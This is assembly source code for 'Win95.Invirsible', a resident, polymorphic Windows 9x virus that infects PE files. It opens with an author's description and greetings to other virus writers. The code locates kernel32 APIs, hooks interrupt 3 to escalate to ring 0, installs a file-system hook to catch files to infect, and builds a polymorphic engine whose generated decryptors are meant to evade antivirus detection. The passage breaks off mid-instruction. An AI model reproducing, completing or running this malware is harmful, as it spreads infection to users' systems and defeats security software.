; Win95.Invirsible ; Bhunji ; ; proudly presents ;) ; ; Invirsible ; ; Virusinfo ; Version 2 ; Size: Big, usually around 7.6k ; Infects: PE files ; Resident: Yes ; Systems; Win9x ; Polymorhic: Yes ; This is the second version on Invirsible. My goal with this virus ; is to make it as hard as possible to detect. It has one technique ; never seen in a virus before which I call the Guide technique. More ; info about this can be found at www.shadowvx.org. It carries a very ; advanced generic polymorpher. It is able to polymorph mov, add, sub ; so far but its trivial to add more instructions. The engine uses ; emulation to generate code. It is able to emulate memory and registers ; which results in code that looks very real. Coding new code to be ; polymorphed is pretty easy as it's similar to Intel asm. ; ex. mov RX1,[RX2] ; mov Random register 1, [Random register 2] ; Changes since last version ; A total rewrite of the polymorphic code. Works way better now. ; * Changed the polymorphic language to be more similar to Intel asm ; * Added memory emulation, the created code uses the end of .data segment. ; * Deleted advanced register emulation, did hardly create better code ; and was taking up lots of space. ; * Very generic, adding a new instruction needs 10 lines of data/code ; instead of 200-400 lines. ; * An optimiser that deletes the very worst code. (fx. mov eax,eax) ; * The linked list polymorpher will create a six different looking ; decryptors for the generic polymorpher. ; Some changes to the virus ; * Bugfixes. (Doesn't crash on infection :) ) ; * Search for slackspace in .data segment. This space is used by the ; generated code to look more like real code. ; * Recompilation of the code before every infection to make the pointers ; point to the .data slack ; Things to be added in the future. ; * More instructions will be added to the polymorpher ; * A more powerful optimiser ; * Infect on NT too. ; * Spreading by mail ; * Infection of hlp files ; * EPO ; * Deregister the most common AV software on file but register it later in ; memory. This will not happen if the AV gives the virus its proper name. ; * A better method of upgrading the virus ala babylonia. ; And here is an example of what code the engine is able and has been ; able to generate. ; Version 1 ; Version one is able to emulate/generate ; add, mov s ; (code is taken from a generated Guide) ; mov ecx, 0Ch ; mov ebx, fs:[ecx] ; get random number ; mov edx, 0 ; add edx, eax ; add eax, esi ; mov edi, 0 ; add edi, 6472DAADh ; mov eax, 5A97451Fh ; mov eax, edx ; add edi, ecx ; mov ecx, 0 ; add ecx, ebx ; or ecx, 8 ; xor ebx, ecx ; 'and' ebx,8 ; add edi, 0DCA7B4AAh ; add edi, 60E4CB5Ch ; mov edi, ebx ; add ebx, offset jumptable ; add ebx, offset jumptable ; jmp dword ptr [ebx] ; patterns ; Differences from the trash code ; fs:[register] ; or/and register,8 ; jmp [register] ; The trashcode ; very few instructions ; no memory instructions ; the same amount of every emulateable instruction (normal code has more ; movs then adds for example) ; unnecessary instructions. Ex. ; mov eax, 5A97451Fh ; this is unnessesary ; mov eax, edx ; as this overwrites eax again ; Version 2 ; Version two is able to emulate ; add, sub, mov, and, or, xor and memory ; Generates on average more movs then the ; adds and more adds then the other opcodes. ; Generates more registers then memory operands and ; more memory operands then numbers. ; The end result 'feels' more like regular code. ; Many many bugfixes. (There are no more bugs i hope) ; Code is taken from a generated decryptor ; ; mov edx, 8D403766h ; xor [4030D7], 1A45h ; 1a45 = virussize ; xor esi, [4030CF] ; mov [4030CF], ecx ; mov esi, 45BBA054h ; add edi, 0CCFC6B5Bh ; mov ebx, 1A45h ; first "real" instruction ; mov eax, [4030CF] ; sub edi, 1A45h ; or eax, ebx ; mov edi, 1A45h ; mov edi, 3 ; add ecx, 3 ; mov edx, [4030BF] ; second ; add [4030D7], eax ; mov esi, 3 ; DecryptLoop: ; pusha ; will be deleted in future versions ; mov eax, 1FF5893Dh ; mov ecx, ebx ; sub eax, 0E138ABECh ; add edx, ecx ; third ; mov esi, ecx ; mov edi, ebx ; mov eax, 0D6E7BEF5h ; mov [4030CF], 5493B89Ch ; sub ecx, [4030B3] ; mov eax, 0E138ABECh ; and [4030D3], ecx ; or eax, ebx ; xor [edx], 0E138ABECh ; decrypt code ; mov [4030D7], 0E138ABECh ; popa ; sub ebx, 4 ; ; jnb DecryptLoop ; mov dword_0_4030CF, 69472C81h ; mov ecx, 0F5D970C4h ; mov edi, 1 ; mov eax, dword_0_4030B7 ; add ecx, 8244076Eh ; If we put the real code pieces together we get. ; ; mov ebx, 1A45h ; VirusSize ; mov edx, [4030BF] ; Where to start decrypt ; DecryptLoop: ; add edx, ecx ; third ; xor dword ptr [edx], 0E138ABECh ; decrypt code ; sub ebx, 4 ; ; jnb DecryptLoop ; The third instruction should add "Where to start" with "VirusSize" but ; as you can see it is added with ecx instead, this is because of the ; emulation. The engine knows that ecx = ebx = VirusSize so it used ecx ; instead. ; patterns ; Differences from the trash code ; pushad/popad ; easy to delete ; [Register] ; engine is only able to create [Number] ; jxx ; Engine isnt able to create jumps yet ; The trashcode ; Still to few instructions, needs push/pop, call, jmp, jxx to look at least ; something like real code. ; Memory instructions isn't able to create memory pointers with a register ; inside, eg [Number+register]. A better compiler will fix this. ; Still unnecessary instructions. Ex. ; mov eax, 0D6E7BEF5h ; this is unnessesary ; ... ; mov eax, 1FF5893Dh ; as this overwrites eax again ; ; Greetings ; (M)asmodeus. Dropper.exe has generated errors and will be closed by ; Windows :))) ; Morphi Hoppas att du f†r det b„ttre i helsingborg ; Prizzy Thanks for helping me with the bug ; Ruzz Yes, i have FINALY finished it :) ; Kamaileon. I wish you luck with the windows programming. ; Clau Hello sister ;) ; Urgo32 Good luck with your next virus. includelib kernel32.lib includelib user32.lib include c:masmincludewindows.inc .486 .model flat, stdcall ExitProcess PROTO ,:DWORD MessageBoxA PROTO ,:DWORD,:DWORD,:DWORD,:DWORD ; Primes, used them in the first version for advanced register emulation, ; might be usefull in the future Prime1 equ 2 Prime2 equ 3 Prime3 equ 5 Prime4 equ 7 Prime5 equ 11 Prime6 equ 13 Prime7 equ 17 Prime8 equ 19 Prime9 equ 23 Prime10 equ 29 Prime11 equ 31 Prime12 equ 37 Prime13 equ 41 Prime14 equ 43 Prime15 equ 47 Prime16 equ 53 Prime17 equ 59 Prime18 equ 61 Prime19 equ 67 Prime20 equ 71 Prime21 equ 73 Prime22 equ 77 .data VirusStr db "No crack found",0 .code ProgramMain: push 0 call ExitProcess _rsrc segment para public 'DATA' use32 assume cs:_rsrc VirusStart: Main: mov ebx,[esp] push ebp call GetDelta GetDelta: pop ebp sub ebp,offset GetDelta ; address mov [Temp+ebp],ebx ; save offset into kernel .if ebp!=0 ; code that isn't ; executed in the first ; version mov eax,[eax] ; polymorphic code will mov [InfectedProgramOffset+ebp],eax ; move pointer to .endif ; programstart in eax lea eax,BreakPoint1 lea eax,[ebp+GetDelta] ; move some address to mov [PointerToDataSlack+ebp],eax ; PTDS, doesnt matter as ; long as its a working one ; mov eax,fs:[0c] db 67h,64h,0a1h,0ch,00h ; get random number add [RandomNumber+ebp],eax ; (is not random on NT) call GetAPIFunctions ; Get needed API functions call FixTables ; clean the 'dirty' tables ; and allocate mem for the ; polymorpher call CreateGuideAndDecryptor ; Generate the polymorphic ; code call GetResident ; intercept IFSMgr to get ; filenames to infect ReturnToHost: push [MemPtr+ebp] ; free allocated mem used call [LocalFree+ebp] ; by polymorpher mov eax,[InfectedProgramOffset+ebp] ; program address pop ebp ; restore ebp jmp eax ; jmp to program Topic db "You can not find what you can not see.",0 db "Invirsible by Bhunji (Shadow VX)",0 VSize equ VirusEnd-VirusStart VirusSize equ VSize ; how much stack and mem should the polymorpher use NumberOfOffsets equ 10 ; more size = better code ; (doesnt matter right now ; because the engine isnt ; able to create jumps) StackSize equ 100 ; (doesnt matter right now ; because the engine isnt ; able to emulate the stack) MemorySize equ 10 ; The more size the better ; code is produced but makes ; it harder to find a file to ; infect LinesOfTrash equ 3 ; LinesOfTrash is the ; aproximate numbers of ; random instructions between ; every "legal" instruction ; LinesOfTrash ; Fixup instruction ; LinesOfTrash EndValueFrecuency equ 1 ; the higher the more often ; is the EndValue chosed ; the higher the number is ; the harder is it to detect ; my looking at one ; instruction, but its easier ; to detect by looking at many ; instructions. ; 1 is a perfect value MemPtr dd 0 ; ptr to allocated mem ReturnAddress dd 0 ; stores the return address ; in some functions InfectedProgramOffset dd ProgramMain ; where to jump when ; done Temp dd 0 ; just a temporary variable ; API's the virus uses WinFunctions: lstrlenStr db "lstrlen",0 LocalAllocStr db "LocalAlloc",0 LocalFreeStr db "LocalFree",0 db 0 ; pointers to these Functions: lstrlen dd ? AllocMem dd ? LocalFree dd ? FixTables: lea edi,[ZeroRegStart+ebp] mov ecx,(ZeroRegEnd-ZeroRegStart)/4 xor eax,eax rep stosd lea edi,[RandomRegs+ebp] mov ecx,Registers dec eax rep stosd lea edi,[SavedOffsets+ebp] mov ecx,NumberOfOffsets rep stosd lea eax,[EaxTable+ebp] mov [Tables+ebp],eax mov eax,MemorySize*20+StackSize*20 push eax push LMEM_FIXED + LMEM_ZEROINIT call [AllocMem+ebp] mov [Tables+ebp+4],eax add eax,MemorySize*20 mov [Tables+ebp+8],eax call UndefineRegistersAndMem xor eax,eax lea esi,[Mem1Table+ebp] mov edi,[Tables+ebp+4] lodsb mov ecx,eax PredefinedMem: lodsb push edi imul eax,eax,20 lea edi,[edi+eax] push ecx mov ecx,5 rep movsd pop ecx pop edi loop PredefinedMem ret UndefineRegistersAndMem: lea edi,[EaxTable+ebp+4*4] mov ecx,Registers mov eax,Writeable+Undefined SetOpcodeInfo1: stosd add edi,4*4 loop SetOpcodeInfo1 mov edi,[Tables+ebp+4] add edi,4*4 mov ecx,MemorySize+StackSize mov eax,Writeable+Undefined SetOpcodeInfo2: stosd add edi,4*4 loop SetOpcodeInfo2 ret GetModuleHandle dd 0 GetProcAddress dd 0 GetProcAddressStr db "GetProcAddress",0 GetAPIFunctions: mov eax,[Temp+ebp] call GetModuleHandleAndProcAddress mov [GetModuleHandle+ebp],eax mov [GetProcAddress+ebp],ebx xor edx,edx lea edx,[WinFunctions+ebp] xor ecx,ecx CopyWinApiFunctions: push edx push ecx push edx push edx push [GetModuleHandle+ebp] call [GetProcAddress+ebp] mov ecx,[esp+4] mov [Functions+ebp+ecx],eax call [lstrlen+ebp] pop ecx pop edx add edx,eax add ecx,4 inc edx cmp byte ptr [edx],0 jnz CopyWinApiFunctions NoMoreApis: ret ; Input ; eax = somewhere in kernel ; Returns ; eax = GetModuleHandler offset ; ebx = GetProcAddress offset GetModuleHandleAndProcAddress: and eax,0fffff000h ; even 1000h something FindKernelEntry: sub eax,1000h cmp word ptr [eax],'ZM' jnz FindKernelEntry mov ebx,[eax+3ch] cmp word ptr [ebx+eax], 'EP' jne FindKernelEntry mov ebx,[eax+120+ebx] add ebx,eax ; ebx -> Export table mov ecx,[ebx+12] ; ecx -> dll name cmp dword ptr [ecx+eax],'NREK' jz FindGetProcAddress jmp FindKernelEntry ; We can now be sure that eax points to the kernel FindGetProcAddress: lea edi,[GetProcAddressStr+ebp] mov edx,[ebx+32] FindFunction: add edx,4 mov ecx,15 ; length of GetProcAddress,0 mov esi,[edx+eax] push edi add esi,eax repz cmpsb pop edi jne FindFunction sub edx,[ebx+32] shr edx,1 ; ecx = ordinal pointer lea esi,[edx+eax] xor ecx,ecx add esi,[ebx+36] ; esi = base+ordinals+ordnr mov cx,word ptr [esi] ; ecx = ordinal shl ecx,2 ; ecx = ordinal*4 add ecx,[ebx+28] ; ecx = ordinal*4+func tbl addr mov ebx,[ecx+eax] ; esi = function addr in file add ebx,eax ; esi = function addr in mem ret Encryptor dd 0 GetResident: mov eax,[GetModuleHandle+ebp] add eax,6ch mov ebx,'.K3Y' cmp [eax],ebx jz DontGoRing0 sub esp,8 sidt [esp] ; get interupt table ; hook int 3 to get get ring 0 mov esi,[esp+2] add esi, 3*8 ; pointer to int 3 mov ebx, [esi+4] mov bx,word ptr [esi] ; ebx = old pointer lea eax,[Ring0Code+ebp] ; eax = new pointer mov word ptr [esi],ax ; move new pointer to int 3 shr eax,16 mov word ptr [esi+6], ax pushad int 3 ; get into ring 0 popad mov [esi],bx ; return old pointer again shr ebx,16 mov [esi+6],bx add esp,8 DontGoRing0: ret ; --------------------------------------- ; -------------------------------- Ring 0 ; --------------------------------------- Ring0Code: mov eax,[GetModuleHandle+ebp] add eax,6ch mov ebx,'.K3Y' mov [eax],ebx mov ebx,[eax+8] mov [eax+4],ebx mov eax,[MemoryTable+ebp] sub eax,[GuidePos+ebp] push eax add eax,(MemorySize+1)*8 push eax ; push guide + decrypt size ; + special variables add eax,(VirusEnd-VirusStart)*2+20 ; allocate mem push eax push R0_AllocMem mov edi,ebp call vxd pop ecx test eax,eax jz ErrorRing0 ; Copy guide and decryptor to ring 0 mem pop ecx ; ecx = guide + decrypt size ; + special variables mov esi,[GuidePos+ebp] mov edi,eax mov ebx,eax xchg ebx,[GuidePos+ebp] ; eax = new guide pos ; ebx = old guide pos pop edx ; edx = size of guide+decrypt add edx,eax ; edx = new memory pos mov [MemoryTable+ebp],edx sub eax,ebx ; difference in mem add [DecryptorPos+ebp],eax ; add to get new pos rep movsb ; copy polycode to ring 0 mov edi,edx mov ecx,(MemorySize+1)*(8/4) xor eax,eax rep stosd add edx,MemorySize*4+4 mov [VirtualDataSegment+ebp],edx pushad mov eax,[VirtualDataSegment+ebp] ; pointer to virtual data ; segment lea edx,[Mem1Table+ebp] movzx ecx,byte ptr [edx] ; how much data does the ; decryptor and guide need ; predefined inc edx CopyDataToVirtualDataSegment: movzx ebx,byte ptr [edx] ; where in datasegment should ; we write the data shl ebx,2 push dword ptr [edx+1] ; push the data to write pop [eax+ebx] ; write it to virtual data seg add edx,1+5*4 ; point to next data block loop CopyDataToVirtualDataSegment popad mov [VirusInRing0Mem+ebp],edi mov ebx,edi lea esi, [ebp+VirusStart] mov ecx, VirusSize rep movsb ; copy virus to ring 0 xor eax,eax stosd stosd ; encrypt virus in memory pushad mov esi,[Encryptor+ebp] push ebx ; pointer to virus in ring0 mov eax,esp push eax ; pointer to pointer push eax push eax push eax mov [PointerToDataSlack+ebp],esp ; all special variables ; points to pointer to ; virus in ring 0 call Compile call esi add esp,5*4 popad ; copy residentcode to mem push edi lea esi, [ebp+ResidentcodeStart] mov ecx, ResidentcodeEnd-ResidentcodeStart rep movsb ; hook API function ; edi is on stack push InstallFileSystemAPIhook mov edi,ebp call vxd pop edi ; 0 edi left on stack sub edi,ResidentcodeStart mov [edi+BasePtr+1],edi mov [edi+OldAPIFunction],eax BreakPoint1: lea eax,[edi+BreakPoint] lea eax,[edi+BreakPoint] iretd ErrorRing0: pop eax xor eax,eax iretd CreateGuideAndDecryptor: push 1024*1024 push LMEM_FIXED + LMEM_ZEROINIT call [AllocMem+ebp] mov [MemPtr+ebp],eax mov edi,eax lea esi,[Guide+ebp] call LinkedListPolymorpher call Polymorph ; create Guide mov [GuidePos+ebp],esi mov [GuideSize+ebp],eax add edi,32 lea esi,[Decryptor+ebp] call LinkedListPolymorpher push esi call Polymorph ; create Decryptor mov [DecryptorPos+ebp],esi mov [MemoryTable+ebp],edi mov [DecryptorSize+ebp],eax call UndefineRegistersAndMem mov [HowMuchTrash+ebp],0 pop esi pushad mov edi,esi mov eax,Op_trash bswap eax xor ecx,ecx xor edx,edx FindTrashInstruction: inc edi cmp [edi],edx jz EndOfTrashInstructions xor ecx,ecx cmp [edi],eax jnz FindTrashInstruction add edi,4 push eax xor eax,eax stosb pop eax jmp FindTrashInstruction EndOfTrashInstructions: test ecx,ecx jnz ReallyEnd inc ecx add edi,3 jmp FindTrashInstruction ReallyEnd: popad add edi,eax call MutateCode ; Generic polymorphing mov ecx,edi sub ecx,esi shr ecx,1 mov edi,esi FindDecryptInstruction: mov eax,'R[' repnz scasw ; find [R inc edi mov ax,word ptr [edi] cmp eax,',]' ; is this [Rx], jnz FindDecryptInstruction ; if not, continue looking and edi,0fffffff0h mov eax,[edi] bswap eax .if eax==Op_xor jmp CompileEncryptor .elseif eax==Op_add mov eax,Op_sub bswap eax stosd jmp CompileEncryptor .else mov eax,Op_add bswap eax stosd jmp CompileEncryptor .endif CompileEncryptor: mov [Encryptor+ebp],esi ret ; --------------------------------------------------- ; --------------------------- The generic polymorpher ; --------------------------------------------------- ; esi = Data to polymorph ; edi = where to put the created data ; Returns ; esi = start of created data ; edi = end of created data/start of created code ; eax = size of the created code ; Defined opcode looks Op_add equ 'add ' Op_and equ 'and ' Op_mov equ 'mov ' Op_or equ 'or ' Op_sub equ 'sub ' Op_xor equ 'xor ' Op_cmp equ 'cmp ' Op_jnz equ 'jnz ' Op_jnb equ 'jnb ' Op_jna equ 'jna ' Op_jmp equ 'jmp ' Op_offset equ 'ofs ' Op_db equ 'db ' ; output whats in there, ; dont polymorph, ; dont compile Op_dontparse equ '!emu' ; dont polymorph only ; compile ; special opcodes Op_encrypt equ 'cpt ' ; encrypt this operand, ; used to create encryptor/ ; decryptor Op_setinfo equ 'nfo ' ; set info of operand ; used to define a operand ; changable or similar. Op_prefix equ 'pfx ' ; prefix, eg fs:, es: and ; similar. Will be deleted ; in future versions Op_trash equ 'trsh' ; how mush trash to be ; produced, use wisely ; to make your code better ; or when you need to save ; the flags LinkedListPolymorpher: call TablePolymorpher ; 'old' style polymorphics ; esi -> created data ; edi -> created data+sizeof (created data)+1 ret Polymorph: add edi,16 and edi,0fffffff0h push edi push edi call MutateCode ; Generic polymorphing pop edi ; esi -> created data call Optimize ; Optimize the created code ; esi -> created data ; edi -> created data+sizeof (created data)+1 push edi call Compile ; compile the code to get ; the size pop edi pop esi ret Regs equ 6 Registers equ Regs InfoPtr equ 16 ; This polymorher is a bit different from the usuall one. ; It's able to create code that does different things, not just ; the same with a different look. TablePolymorpher: ; A nice recursive function :) xor eax,eax xor ecx,ecx push edi push 0 ReadInstruction: ; 'execute' function mov cl, byte ptr [esi] ; How many bytes to output inc esi rep movsb ParseCall: ; end of this function, ; should we call an other lodsb test eax,eax jz ReturnFromCall ; no, return lea ebx,[esi+eax*4] push ebx ; push return address call Random mov esi,[esi+eax*4] ; address of the function add esi,ebp jmp ReadInstruction ; jmp to function 'executer' ReturnFromCall: pop esi ; return from main function test esi,esi jnz ParseCall NoMoreParsing: xor eax,eax stosd stosd pop esi ret Decryptor: db 0 db 1 dd R0VSize ; dd R0Zero db 1 dd MovePoinerToProgramStart db 0 MovePoinerToProgramStart: db MovePoinerToProgramStartEnd-$-1 db "trsh",LinesOfTrash db "mov R1,[N" dd 1 db "]" MovePoinerToProgramStartEnd: db 0 R0VSize: db R0VSizeEnd-$-1 db "mov RX0,N" dd VSize R0VSizeEnd: db 2 dd R1VirusStart dd R1VirusEnd db 1 dd EncryptRX1 db 1 dd SubR0AndJump db 0 SubR0AndJump: db SubR0AndJumpEnd-$-1 db "db ",1 ; Bytes not to be morphed popad db "trsh",0 db "sub RX0,N" dd 4 db "!emu",9 ; dont do anything about this db "jnb N" dd 0 SubR0AndJumpEnd: db 0 R0Zero: db R0ZeroEnd-$-1 db "mov RX0,N" dd 0 R0ZeroEnd: db 2 dd R1VirusStart dd R1VirusEnd db 1 dd EncryptRX1 db 1 dd AddR0AndJump db 0 AddR0AndJump: db AddR0AndJumpEnd-$-1 db "db ",1 ; Bytes not to be morphed popad db "add RX0,N" dd 4 db "trsh",0 db "!emu",13 ; dont do anything about this db "cmp RX0,N" dd VSize db "!emu",9 ; dont do anything about this db "jna N" dd 0 AddR0AndJumpEnd: db 0 R1VirusStart: db R1VirusStartEnd-$-1 db "mov RX1,[N" dd 3 db "]" db "ofs 0" db "db ",1 pushad db "nfo RX2" dd Undefined db "add RX1,RX0" R1VirusStartEnd: db 0 R1VirusEnd: db R1VirusEndEnd-$-1 db "mov RX1,[N" dd 3 db "]" db "add RX1,N" dd VSize db "ofs 0" db "db ",1 pushad db "nfo RX2" dd Undefined db "sub RX1,RX0" R1VirusEndEnd: db 0 EncryptRX1: db 0 db 1 dd RandomReg db 0 OpcodeXor: db 4 db "xor " db 0 OpcodeAdd: db 4 db "add " db 0 OpcodeSub: db 4 db "sub " db 0 RandomReg: db 0 db 1 dd RandomOpcode db 1 dd RandomizeMemWithReg db 0 RandomizeMemWithReg: db RandomizeMemWithRegEnd-$-1 db "[RX1],N" RandomNumber dd 0 RandomizeMemWithRegEnd: db 0 RandomOpcode: db 0 db 3 dd OpcodeXor dd OpcodeAdd dd OpcodeSub db 0 Guide: db DefinedTrash-$-1 db "trsh",LinesOfTrash DefinedTrash: db 1 ; dd RandomEveryBoot dd RandomEveryTime db 1 dd MakeZeroOrEight db 0 RandomEveryTime: db RandomEveryTimeEnd-$-1 db "pfx ",64h ; prefix fs: db "mov RX0,[N" dd PointerToRandomMemory db "]" ; mov X0, fs:[0ch] RandomEveryTimeEnd: db 0 RandomEveryBoot: db RandomEveryBootEnd-$-1 db "nfo R" RandomEveryBootEnd: db 3 dd RndEcx dd RndEdi dd RndEsi db 0 RndEcx: db RndEcxEnd-$-1 db "3" dd Undefined db "mov RX0,R3" RndEcxEnd: db 0 RndEdi: db RndEdiEnd-$-1 db "5" dd Undefined db "mov RX0,R5" RndEdiEnd: db 0 RndEsi: db RndEsiEnd-$-1 db "6" dd Undefined db "mov RX0,R6" RndEsiEnd: db 0 MakeZeroOrEight: db MakeZeroOrEight-$-1 db "and RX0,N" dd 8 db "add RX0,[N" ; special variable 1 = dd 1 ; pointer to jump table db "]" db "jmp [RX0]" ; jmp [X0] MakeZeroOrEightEnd: db 0 ; --------------------------------------------- ; ---------------- MutateCode ----------------- ; --------------------------------------------- ; ------------- Local variables Prefix dd 0 EndWhere: Trash dd 0 ToReg dd 0 ToMemValue dd 0 ToMemReg dd 0 FromWhere: FromValue dd 0 FromReg dd 0 FromMemValue dd 0 FromMemReg dd 0 TempWhere: TempValue dd 0 TempReg dd 0 TestMemValue dd 0 TestMemReg dd 0 Temp1 dd 0 Temp2 dd 0 Writeable equ 1b Undefined equ 10b ; is has a unknown value Uninitialized equ -1 TableSize equ EbxTable-EaxTable EndValue dd 0 EndTypeOfValue dd 0 Tables: ; pointers to the different ; tables RegTables dd EaxTable MemoryTables dd 0 ; Is allocated later StackTables dd 0 ; first table is EspTable EaxTable: EaxValueNumber dd 0 EaxValueReg dd 0 EaxMemoryNumber dd 0 EaxMemoryReg dd 0 EaxInformation dd Undefined+Writeable EbxTable: dd 0,0,0,0, Undefined+Writeable EcxTable: dd 0,0,0,0, Undefined+Writeable EdxTable: dd 0,0,0,0, Undefined+Writeable EsiTable: dd 0,0,0,0, Undefined+Writeable EdiTable: dd 0,0,0,0, Undefined+Writeable ; this table is copied to mem, its used to define ; starting values for the memory ; Undefined mem start as Undefined+Writeable (you could change this to ; only writable for slightly better code.) Mem1Table: db 4 ; how many tables db 0 ; which table dd 0,0,0,0, Undefined ; program entry point db 1 dd 0,0,0,0, Undefined ; pointer to mem 0 db 2 dd 0,0,0,0, Undefined ; decryptor entry point db 3 dd 0,0,0,0, Undefined ; where to start decrypt RandomRegs: dd Registers dup (-1) ; Random Regs ; mutates the code in esi and places the result in edi ; returns a pointer to the created code in esi ; returns a pointer to the created code + sizeof(created code) in edi MutateCode: push edi MorphCodeLoop: xor eax,eax dec eax push edi lea edi,[ebp+EndWhere] mov ecx,8 rep stosd pop edi call Parse jmp MorphCodeLoop MutateEnd: pop eax ; return address of Parse pop esi add esi,16 and esi,0fffffff0h add edi,10 ret ; ----------------------- Parser ParseSpecialVariables: dd (ParseSpecialVariablesEnd-ParseSpecialVariables-4)/4+1 dd Op_db, Op_encrypt, Op_setinfo, Op_offset, Op_prefix dd Op_trash,Op_dontparse,Op_jmp ParseSpecialVariablesEnd: ParseSpecialProcedures: dd ParseDeclareByte, ParseEncrypt, ParseChangeInfo dd ParseSaveOffset, ParsePrefix, ParseTrash, ParseDontParse dd TemporaryParseJump ParseSpecialProceduresEnd: ParseInstructionData: dd (ParseInstructionDataEnd-ParseInstructionData-4)/4+1 dd Op_add, Op_mov, Op_sub, Op_or, Op_xor, Op_and ParseInstructionDataEnd: AddPos equ 0 MovPos equ 1 SubPos equ 2 OrPos equ 3 XorPos equ 4 AndPos equ 5 InstructionData: AddInfo: dd offset AddInstruction dd Op_add MovInfo: dd offset MovInstruction dd Op_mov SubInfo: dd offset SubInstruction dd Op_sub OrInfo: dd offset OrInstruction dd Op_or XorInfo: dd offset XorInstruction dd Op_xor AndInfo: dd offset AndInstruction dd Op_and InstuctionTablesEnd: Parse: push edi mov ecx,[ParseSpecialVariables+ebp] lea edi,[ParseSpecialVariables+ebp+4] lodsd bswap eax repnz scasd test ecx,ecx jz ParseInstruction pop edi lea ebx,[ParseSpecialProceduresEnd+ebp] imul ecx,ecx,4 sub ebx,ecx mov ebx,[ebx] add ebx,ebp jmp ebx ParseDeclareByte: mov edx,Op_db call OutputOnlyOpcode xor eax,eax lodsb mov ecx,eax stosb ; number of bytes to declare rep movsb ret ParseEncrypt: call GetOperand ret ParseChangeInfo: mov eax,666666h call GetOperand mov ecx,eax lodsd xchg eax,ecx call ChangeInfo ret ParseSaveOffset: mov edx,Op_offset call OutputOnlyOpcode movsb ret ParsePrefix: xor eax,eax lodsb mov [Prefix+ebp],eax ret ParseTrash: xor eax,eax lodsb mov [HowMuchTrash+ebp],eax ret ParseDontParse: xor eax,eax lodsb mov ecx,eax add edi,16 and edi,0fffffff0h rep movsb ret TemporaryParseJump: add edi,16 and edi,0fffffff0h call OutputPrefix mov eax,Op_jmp bswap eax stosd call GetOperand add eax,'0' add eax,']'*256 shl eax,16 mov ax,'R[' stosd ret ParseInstruction: mov ecx,[ParseInstructionData+ebp] lea edi,[ParseInstructionData+ebp+4] repnz scasd pop edi test ecx,ecx jz MutateEnd lea ebx,[InstuctionTablesEnd+ebp] imul ecx,ecx,8 sub ebx,ecx push ebx ParseOperands: call GetOperand sub ebx,4 push ebx ; ToType push eax ; ToOperand inc esi call GetOperand push ebx ; FromTypeOfValue push eax ; FromOperand mov [EndValue+ebp],eax mov [EndTypeOfValue+ebp],ebx call GenerateTrash mov eax,[esp+8] ; ToOperand mov ebx,[esp+12] ; ToType mov ecx,Writeable call DeleteFromInfo pop [FromOperand+ebp] pop [FromTypeOfValue+ebp] pop eax pop ebx mov [ToOperand+ebp],eax mov [ToType+ebp],ebx mov ecx,Writeable call DeleteFromInfo pop [EmulateInstruction+ebp] call OutputPrefix call EmuProc call GenerateTrash ret ; return ; eax = register or number ; ebx = ; 0 = value/number ; 4 = value/register ; 8 = memory/number ; 12 = memory/register ; return ; EBX = 0 if value and 4 if memory ; |'V' or 'M' ; | ; db "M" ReadTypeOfData: xor eax,eax xor ebx,ebx lodsb cmp al,'M' sete bl shl bl,3 ret ; return ; EAX = the number or register ; EBX = 0 if number and 4 if register ; This procedure is in the "copy to ring 0" mem. ;GetOperand: ; xor edx,edx ; mov al,byte ptr [esi] ; cmp al,'[' ; setz dl ; mov ecx,edx ; add esi,edx ; shl edx,3 ; mov ebx,edx ; ebx = 0 or 8 ; lodsb ; cmp al,'S' ; A variable ; jnz Label53 ; mov eax,[PointerToDataSlack+ebp] ; mov edx,[esi] ; mov eax,[eax+edx*4] ; mov [esi],eax ; mov eax,'V' ; xor edx,edx ; ; Label53: ; cmp al,'R' ; setz dl ; shl edx,2 ; add ebx,edx ; ebx = ebx + (0 or 4) ; ; test edx,edx ; is value ; jz ReadValue ; ; xor eax,eax ; lodsb ; read register ; cmp al,'X' ; jz GetRandomReg ; sub eax,'0' ; add esi,ecx ; ret ; ReadValue: ; lodsd ; add esi,ecx ; ret GetRandomReg: push ebx call AsciiToNum add esi,ecx shl eax, 2 lea eax,[eax+ebp+RandomRegs] ; eax -> RandomReg mov ebx,[eax] cmp ebx,Uninitialized jz GetRandomRegPtrInitialize ; There is no RnR ; Xx, create one xchg eax,ebx ; eax = Xx pop ebx ret GetRandomRegPtrInitialize: push eax call GetWriteableReg pop ebx mov [ebx],eax ; Mov RR,Random Operand pop ebx ret ; ----------------------------------------------- ; ---------------------------- Generic polymorher ; ----------------------------------------------- ; This proc takes data from WhereFrom and WhereTo and ; creates instructions from that data. HowMuchTrash dd LinesOfTrash RandomProcs: db 6 ; number of instructions db 6 ; how often it should come up db 2 db 1 db 1 db 1 db 1 dd MovPos dd AddPos dd SubPos dd OrPos dd XorPos dd AndPos GenerateTrash: mov eax,[HowMuchTrash+ebp] ; 1/LinesOfTrash that we ; stop creating trash inc eax call Random test eax,eax jz Return call GetWriteable mov [ToOperand+ebp],eax mov [ToType+ebp],ebx call RandomOperand mov [FromOperand+ebp],eax mov [FromTypeOfValue+ebp],ebx lea ebx,[RandomProcs+ebp] xor eax,eax xor ecx,ecx xor edx,edx mov cl, byte ptr [ebx] Label36: inc ebx mov dl, byte ptr [ebx] add eax,edx loop Label36 call Random lea ebx,[RandomProcs+ebp] Label37: inc ebx mov dl, byte ptr [ebx] sub eax, edx jnc Label37 lea eax,[RandomProcs+ebp] sub ebx,eax dec ebx shl ebx,2 inc ebx mov dl,byte ptr [eax] add ebx,edx add ebx,eax mov ebx,[ebx] lea ebx,[InstructionData+ebx*8+ebp] mov [EmulateInstruction+ebp],ebx call EmuProc jmp GenerateTrash ; ------------------------------------------------ ; ---------------------------- Emulation functions ; ------------------------------------------------ AddInstruction: add [eax+edx],ecx ret SubInstruction: sub [eax+edx],ecx ret MovInstruction: xor ebx,ebx mov dword ptr [eax],ebx mov dword ptr [eax+4],ebx mov dword ptr [eax+8],ebx mov dword ptr [eax+12],ebx mov [eax+edx],ecx ret OrInstruction: or [eax+edx],ecx ret XorInstruction: xor [eax+edx],ecx ret AndInstruction: and [eax+edx],ecx ret EmulateInstruction dd 0 ToOperand dd 0 ToType dd 0 FromOperand dd 0 FromTypeOfValue dd 0 EmuProc: ChangeRegPart: mov eax,[ToOperand+ebp] mov ebx,[ToType+ebp] mov edx,[EmulateInstruction+ebp] mov edx,[edx+4] shr ebx,2 inc ebx call OutputOpcode dec ebx shl ebx,2 call UndefineDependentOperands pushad mov ebx,[EmulateInstruction+ebp] mov ebx,[ebx+4] cmp ebx,Op_mov jnz Label34 mov eax,[ToOperand+ebp] mov ebx,[ToType+ebp] mov 